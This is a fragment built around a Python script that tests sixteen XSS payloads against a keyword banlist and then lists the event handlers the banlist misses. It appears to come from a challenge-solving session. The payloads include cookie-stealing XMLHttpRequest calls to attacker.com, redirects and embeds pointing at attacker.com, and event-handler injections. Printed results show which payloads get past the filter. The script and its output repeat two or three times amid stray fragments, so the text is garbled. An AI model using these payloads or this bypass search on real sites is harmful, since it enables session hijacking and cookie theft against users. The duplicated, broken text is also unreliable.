new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', ' new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', ' new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie).send()', '', '', '', '', '', '', '', ' banlist = ["`", "'", "concat", "alert", "fetch", "replace", "[","]", "javascript", "@", "!", "%", "img", "iframe", "math", "div", "svg", "location", "href", "window", "open", "eval", "onerror", "onload", "onclick", "onanimationstart", "javascript:", "onpageshow"] # Test payloads payloads = [ '<script>new XMLHttpRequest().open("GET","<http://attacker.com?c=>"+document.cookie).send()</script>', '<script>document.body.innerHTML=document.cookie</script>', '<script>new XMLHttpRequest()</script>', '<script>document.cookie</script>', '<link rel=prefetch href=http://attacker.com?c=+document.cookie>', '<meta http-equiv=refresh content=0;url=http://attacker.com>', '<base href=http://attacker.com>', '<object data=http://attacker.com></object>', '<embed src=http://attacker.com>', '<form action=http://attacker.com><input name=cookie></form>', '<video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=document.cookie></video>', '<audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=document.cookie></audio>', '<details open ontoggle=document.body.innerHTML=document.cookie>', '<marquee onstart=document.body.innerHTML=document.cookie>', '<select onfocus=document.body.innerHTML=document.cookie autofocus>', '<input onfocus=document.body.innerHTML=document.cookie autofocus>', ] print("Testing payloads against banlist...\\n") for i, payload in enumerate(payloads, 1): payload_lower = payload.lower() blocked = [banned for banned in banlist if banned in payload_lower] if blocked: print(f"❌ Payload {i}: BLOCKED") print(f" Triggers: {blocked}") else: print(f"✅ Payload {i}: PASSES") print(f" {payload[:80]}...") print() print("\\n" + "="*80) print("Looking for bypasses...\\n") # Find event handlers not in banlist all_events = [ "onabort", "onafterprint", "onbeforeprint", "onbeforeunload", "onblur", "oncanplay", "oncanplaythrough", "onchange", "ondurationchange", "onemptied", "onended", "onfocus", "onformdata", "onhashchange", "oninput", "oninvalid", "onkeydown", "onkeypress", "onkeyup", "onlanguagechange", "onloadeddata", "onloadedmetadata", "onloadstart", "onmessage", "onmousedown", "onmouseenter", "onmouseleave", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onoffline", "ononline", "onpagehide", "onpause", "onplay", "onplaying", "onpopstate", "onprogress", "onratechange", "onreset", "onresize", "onscroll", "onsearch", "onseeked", "onseeking", "onselect", "onshow", "onstalled", "onstorage", "onsubmit", "onsuspend", "ontimeupdate", "ontoggle", "onunload", "onvolumechange", "onwaiting", "onwheel", "onstart" ] print("Event handlers NOT in banlist:") for event in all_events: if event not in banlist: print(f" ✅ {event}") ❌ Payload 1: BLOCKED Triggers: ['open'] <script>new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie... ✅ Payload 2: PASSES <script>document.body.innerHTML=document.cookie</script>... ✅ Payload 3: PASSES <script>new XMLHttpRequest()</script>... ✅ Payload 4: PASSES <script>document.cookie</script>... ❌ Payload 5: BLOCKED Triggers: ['fetch', 'href'] <link rel=prefetch href=http://attacker.com?c=+document.cookie>... ✅ Payload 6: PASSES <meta http-equiv=refresh content=0;url=http://attacker.com>... ❌ Payload 7: BLOCKED Triggers: ['href'] <base href=http://attacker.com>... ✅ Payload 8: PASSES <object data=http://attacker.com></object>... ✅ Payload 9: PASSES <embed src=http://attacker.com>... ✅ Payload 10: PASSES <form action=http://attacker.com><input name=cookie></form>... ✅ Payload 11: PASSES <video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=documen... ✅ Payload 12: PASSES <audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=do... ❌ Payload 13: BLOCKED Triggers: ['open'] <details open ontoggle=document.body.innerHTML=document.cookie>... ✅ Payload 14: PASSES <marquee onstart=document.body.innerHTML=document.cookie>... ✅ Payload 15: PASSES <select onfocus=document.body.innerHTML=document.cookie autofocus>... ✅ Payload 16: PASSES <input onfocus=document.body.innerHTML=document.cookie autofocus>...
banlist = ["`", "'", "concat", "alert", "fetch", "replace", "[","]", "javascript", "@", "!", "%", "img", "iframe", "math", "div", "svg", "location", "href", "window", "open", "eval", "onerror", "onload", "onclick", "onanimationstart", "javascript:", "onpageshow"] # Test payloads payloads = [ '<script>new XMLHttpRequest().open("GET","<http://attacker.com?c=>"+document.cookie).send()</script>', '<script>document.body.innerHTML=document.cookie</script>', '<script>new XMLHttpRequest()</script>', '<script>document.cookie</script>', '<link rel=prefetch href=http://attacker.com?c=+document.cookie>', '<meta http-equiv=refresh content=0;url=http://attacker.com>', '<base href=http://attacker.com>', '<object data=http://attacker.com></object>', '<embed src=http://attacker.com>', '<form action=http://attacker.com><input name=cookie></form>', '<video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=document.cookie></video>', '<audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=document.cookie></audio>', '<details open ontoggle=document.body.innerHTML=document.cookie>', '<marquee onstart=document.body.innerHTML=document.cookie>', '<select onfocus=document.body.innerHTML=document.cookie autofocus>', '<input onfocus=document.body.innerHTML=document.cookie autofocus>', ] print("Testing payloads against banlist...\\n") for i, payload in enumerate(payloads, 1): payload_lower = payload.lower() blocked = [banned for banned in banlist if banned in payload_lower] if blocked: print(f"❌ Payload {i}: BLOCKED") print(f" Triggers: {blocked}") else: print(f"✅ Payload {i}: PASSES") print(f" {payload[:80]}...") print() print("\\n" + "="*80) print("Looking for bypasses...\\n") # Find event handlers not in banlist all_events = [ "onabort", "onafterprint", "onbeforeprint", "onbeforeunload", "onblur", "oncanplay", "oncanplaythrough", "onchange", "ondurationchange", "onemptied", "onended", "onfocus", "onformdata", "onhashchange", "oninput", "oninvalid", "onkeydown", "onkeypress", "onkeyup", "onlanguagechange", "onloadeddata", "onloadedmetadata", "onloadstart", "onmessage", "onmousedown", "onmouseenter", "onmouseleave", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onoffline", "ononline", "onpagehide", "onpause", "onplay", "onplaying", "onpopstate", "onprogress", "onratechange", "onreset", "onresize", "onscroll", "onsearch", "onseeked", "onseeking", "onselect", "onshow", "onstalled", "onstorage", "onsubmit", "onsuspend", "ontimeupdate", "ontoggle", "onunload", "onvolumechange", "onwaiting", "onwheel", "onstart" ] print("Event handlers NOT in banlist:") for event in all_events: if event not in banlist: print(f" ✅ {event}")
❌ Payload 1: BLOCKED Triggers: ['open'] <script>new XMLHttpRequest().open("GET","http://attacker.com?c="+document.cookie...
✅ Payload 2: PASSES <script>document.body.innerHTML=document.cookie</script>...
✅ Payload 3: PASSES <script>new XMLHttpRequest()</script>...
✅ Payload 4: PASSES <script>document.cookie</script>...
❌ Payload 5: BLOCKED Triggers: ['fetch', 'href'] <link rel=prefetch href=http://attacker.com?c=+document.cookie>...
✅ Payload 6: PASSES <meta http-equiv=refresh content=0;url=http://attacker.com>...
❌ Payload 7: BLOCKED Triggers: ['href'] <base href=http://attacker.com>...
✅ Payload 8: PASSES <object data=http://attacker.com></object>...
✅ Payload 9: PASSES <embed src=http://attacker.com>...
✅ Payload 10: PASSES <form action=http://attacker.com><input name=cookie></form>...
✅ Payload 11: PASSES <video><source src=x type=video/mp4 ontimeupdate=document.body.innerHTML=documen...
✅ Payload 12: PASSES <audio><source src=x type=audio/mpeg ondurationchange=document.body.innerHTML=do...
❌ Payload 13: BLOCKED Triggers: ['open'] <details open ontoggle=document.body.innerHTML=document.cookie>...
✅ Payload 14: PASSES <marquee onstart=document.body.innerHTML=document.cookie>...
✅ Payload 15: PASSES <select onfocus=document.body.innerHTML=document.cookie autofocus>...
✅ Payload 16: PASSES <input onfocus=document.body.innerHTML=document.cookie autofocus>...